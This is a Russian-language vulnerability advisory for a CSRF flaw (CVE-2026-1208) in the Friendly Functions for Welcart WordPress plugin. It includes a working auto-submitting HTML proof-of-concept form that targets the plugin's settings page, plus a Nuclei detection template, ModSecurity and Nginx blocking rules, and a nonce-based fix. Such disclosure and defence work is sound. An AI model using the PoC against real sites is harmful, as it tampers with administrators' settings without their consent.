
Friendly Functions for Welcart <= 1.2.5 - Межсайтовая подделка запроса для обновления настроек
Ключевые слова: CVE-2026-1208, уязвимость Friendly Functions for Welcart, CSRF, межсайтовая подделка запросов, безопасность WordPress, уязвимость плагина WordPress, CWE-352, безопасность Welcart, манипулирование настройками, WordPress CVE 2026
CSRF-уязвимость плагина Friendly Functions for Welcart для WordPress (CVE-2026-1208) — недостаток безопасности, позволяющий неаутентифицированным злоумышленникам изменять настройки плагина с помощью подделанных запросов.
В плагине Friendly Functions for Welcart была обнаружена уязвимость межсайтовой подделки запросов (CSRF), которая позволяет неаутентифицированным злоумышленникам изменять настройки плагина, обманом заставляя администратора перейти по вредоносной ссылке.
Обнаружил: Kai Aizen (SnailSploit)
Опубликовано: 23 января 2026 г.
Оценка CVSS: 4.3 (Средний)
CWE: CWE-352 — Межсайтовая подделка запросов (CSRF)
Плагин: Friendly Functions for Welcart
Тип атаки: Межсайтовая подделка запросов с обновлением настроек
Требуемые привилегии: Отсутствуют (неаутентифицированная атака + социальная инженерия)
Плагин Friendly Functions for Welcart для WordPress уязвим к межсайтовой подделке запросов во всех версиях до 1.2.5 включительно. Это связано с отсутствием или некорректной проверкой nonce на странице настроек. Это позволяет неаутентифицированным злоумышленникам изменять настройки плагина с помощью подделанного запроса при условии, что им удастся обманом заставить администратора сайта выполнить какое-либо действие, например перейти по ссылке.
Эта уязвимость позволяет неаутентифицированным злоумышленникам:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Уязвимость присутствует в реализации страницы настроек, где:
Уязвимость была выявлена в следующих местах:
ffw_function_settings.php — строка 53ffw_function_settings.php — строка 58Атака требует применения социальной инженерии, чтобы обманом заставить аутентифицированного администратора зайти на вредоносную страницу или перейти по специально созданной ссылке, находясь в своей учётной записи WordPress.
Target: WordPress Admin with Friendly Functions for Welcart installed
Method: Malicious HTML page with auto-submitting form
Trigger: Administrator clicks link or visits attacker-controlled page
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
<input type="hidden" name="ffw_setting_option" value="malicious_value" />
<!-- Add additional setting fields as needed -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
⚠️ Предупреждение: Данный PoC предоставлен исключительно для образовательных целей и авторизованного тестирования.
# Check if vulnerable version is installed
wp plugin list | grep -i "friendly-functions-for-welcart"
# Get specific version
wp plugin get friendly-functions-for-welcart --field=version
Шаблон Nuclei:
id: CVE-2026-1208
info:
name: Friendly Functions for Welcart - CSRF to Settings Update
author: SnailSploit
severity: medium
description: |
Friendly Functions for Welcart plugin for WordPress is vulnerable
to CSRF in versions <= 1.2.5 due to missing nonce validation.
reference:
- https://github.com/SnailSploit/CVE-2026-1208
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-1208
cwe-id: CWE-352
tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Friendly Functions for Welcart"
- type: regex
regex:
- "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
Правило ModSecurity:
# CVE-2026-1208 - Block CSRF attempts to FFW settings
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule &REQUEST_HEADERS:Referer "@eq 0"
# Alternative: Block if referer doesn't match site domain
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026002,phase:2,t:none,\
log,deny,status:403,msg:'CVE-2026-1208 Cross-Origin Request Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"
Правило Nginx:
# CVE-2026-1208 - CSRF Protection for FFW Settings
location /wp-admin/admin.php {
# Check for ffw-settings page without proper referer
if ($arg_page = "ffw-settings") {
set $csrf_check "1";
}
if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
set $csrf_check "${csrf_check}1";
}
if ($csrf_check = "11") {
return 403;
}
# Pass to PHP handler
try_files $uri =404;
fastcgi_pass php-fpm;
include fastcgi_params;
}
Требуется немедленное действие:
Убедитесь, что все формы настроек реализуют надлежащую CSRF-защиту:
// Example of proper CSRF protection in WordPress
// In your form:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');
// In your form handler:
function process_settings_update() {
// Verify nonce
if (!isset($_POST['ffw_settings_nonce']) ||
!wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
wp_die('Security check failed');
}
// Check capabilities
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process settings update
// ...
}
Исследователь:
Процесс раскрытия: Координация через программу Bug Bounty компании Wordfence
Данная информация предоставлена исключительно для исследований в области безопасности и защитных целей. Любая эксплуатация этой уязвимости в злонамеренных целях незаконна и неэтична. Всегда получайте надлежащее разрешение перед тестированием систем, которые вам не принадлежат.
По вопросам или за дополнительной информацией об этой уязвимости:
Последнее обновление: 23 января 2026 г.
Полное описание этого проекта, методология и связанные исследования доступны по адресу:
https://snailsploit.com/security-research/cves/cve-2026-1208/
Создано Kai Aizen — независимым исследователем безопасности (offensive security).
snailsploit.com · Исследования · Фреймворки · GitHub · LinkedIn · ResearchGate · X/Twitter
Та же атака. Другой субстрат.
| Метрика | Значение |
|---|
| Вектор атаки | Сеть (AV:N) |
| Сложность атаки | Низкая (AC:L) |
| Требуемые привилегии | Отсутствуют (PR:N) |
| Взаимодействие с пользователем | Требуется (UI:R) |
| Область действия | Без изменений (S:U) |
| Конфиденциальность | Отсутствует (C:N) |
| Целостность | Низкая (I:L) |
| Доступность | Отсутствует (A:N) |